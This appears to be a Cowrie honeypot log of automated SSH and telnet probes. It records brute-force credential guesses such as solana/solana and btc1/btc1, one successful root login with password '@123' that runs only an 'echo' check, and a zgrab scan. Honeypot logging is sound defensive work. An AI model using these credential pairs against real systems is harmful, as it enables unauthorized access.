{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":44758,"dst_ip":"10.17.0.5","dst_port":22,"session":"edbebe6398f5","protocol":"ssh","message":"New connection: 92.118.39.92:44758 (10.17.0.5:22) [session: edbebe6398f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:28:14.923234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:28:14.927813Z","src_ip":"92.118.39.92","session":"edbebe6398f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:28:15.031437Z","src_ip":"92.118.39.92","session":"edbebe6398f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegramapi","password":"telegramapi","message":"login attempt [telegramapi/telegramapi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:28:15.334093Z","src_ip":"92.118.39.92","session":"edbebe6398f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:28:16.436793Z","src_ip":"92.118.39.92","session":"edbebe6398f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":33162,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b348b0f45dc","protocol":"ssh","message":"New connection: 92.118.39.92:33162 (10.17.0.5:22) [session: 6b348b0f45dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:27.786887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:27.804904Z","src_ip":"92.118.39.92","session":"6b348b0f45dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:27.889626Z","src_ip":"92.118.39.92","session":"6b348b0f45dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telegram","password":"telegram","message":"login attempt [telegram/telegram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:28.284629Z","src_ip":"92.118.39.92","session":"6b348b0f45dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:29.392990Z","src_ip":"92.118.39.92","session":"6b348b0f45dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":37568,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0a373fbf9a2","protocol":"ssh","message":"New connection: 78.128.112.74:37568 (159.203.135.109:22) [session: a0a373fbf9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:57.904626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:58.102710Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:58.106708Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"@123","message":"login attempt [root/@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:59.434161Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:59.690543Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:59.693948Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:30:59.803794Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:31:00.139072Z","src_ip":"78.128.112.74","session":"a0a373fbf9a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48302,"dst_ip":"10.17.0.5","dst_port":22,"session":"f41df5f63476","protocol":"ssh","message":"New connection: 2.57.122.208:48302 (10.17.0.5:22) [session: f41df5f63476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:31:29.120340Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:31:29.222428Z","src_ip":"2.57.122.208","session":"f41df5f63476","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49802,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff6942f6b7a7","protocol":"ssh","message":"New connection: 92.118.39.92:49802 (10.17.0.5:22) [session: ff6942f6b7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:43.899489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:43.904680Z","src_ip":"92.118.39.92","session":"ff6942f6b7a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:44.008894Z","src_ip":"92.118.39.92","session":"ff6942f6b7a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btc1","password":"btc1","message":"login attempt [btc1/btc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:44.321123Z","src_ip":"92.118.39.92","session":"ff6942f6b7a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.201","src_port":19249,"dst_ip":"10.17.0.5","dst_port":22,"session":"670bf91e1f06","protocol":"ssh","message":"New connection: 64.62.156.201:19249 (10.17.0.5:22) [session: 670bf91e1f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:44.509058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:44.513795Z","src_ip":"64.62.156.201","session":"670bf91e1f06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:44.587856Z","src_ip":"64.62.156.201","session":"670bf91e1f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:45.426730Z","src_ip":"92.118.39.92","session":"ff6942f6b7a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:32:48.509435Z","src_ip":"64.62.156.201","session":"670bf91e1f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":38200,"dst_ip":"10.17.0.5","dst_port":22,"session":"4362017325fd","protocol":"ssh","message":"New connection: 92.118.39.92:38200 (10.17.0.5:22) [session: 4362017325fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:34:55.317776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:34:55.322339Z","src_ip":"92.118.39.92","session":"4362017325fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:34:55.424647Z","src_ip":"92.118.39.92","session":"4362017325fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filecoin","password":"admin","message":"login attempt [filecoin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:34:55.798090Z","src_ip":"92.118.39.92","session":"4362017325fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:34:56.901292Z","src_ip":"92.118.39.92","session":"4362017325fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.109.8","src_port":40456,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0d23e682cd","protocol":"telnet","message":"New connection: 45.33.109.8:40456 (10.17.0.5:23) [session: 2b0d23e682cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:08.882660Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:08.888153Z","src_ip":"45.33.109.8","session":"2b0d23e682cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept: */*","password":"Accept-Encoding: gzip","message":"login attempt [Accept: */*/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:08.894821Z","src_ip":"45.33.109.8","session":"2b0d23e682cd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 zgrab/0.x","password":"","message":"login attempt [User-Agent: Mozilla/5.0 zgrab/0.x/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:08.898321Z","src_ip":"45.33.109.8","session":"2b0d23e682cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.4373607635498047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:09.319884Z","src_ip":"45.33.109.8","session":"2b0d23e682cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48352,"dst_ip":"10.17.0.5","dst_port":22,"session":"1229bf07a55c","protocol":"ssh","message":"New connection: 2.57.122.208:48352 (10.17.0.5:22) [session: 1229bf07a55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:18.615751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:18.621119Z","src_ip":"2.57.122.208","session":"1229bf07a55c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:18.767280Z","src_ip":"2.57.122.208","session":"1229bf07a55c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:19.611910Z","src_ip":"2.57.122.208","session":"1229bf07a55c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:35:20.821024Z","src_ip":"2.57.122.208","session":"1229bf07a55c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54836,"dst_ip":"10.17.0.5","dst_port":22,"session":"1aadb0fc2566","protocol":"ssh","message":"New connection: 92.118.39.92:54836 (10.17.0.5:22) [session: 1aadb0fc2566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:12.370369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:37:12.374176Z","src_ip":"92.118.39.92","session":"1aadb0fc2566","protocol":"ssh"}
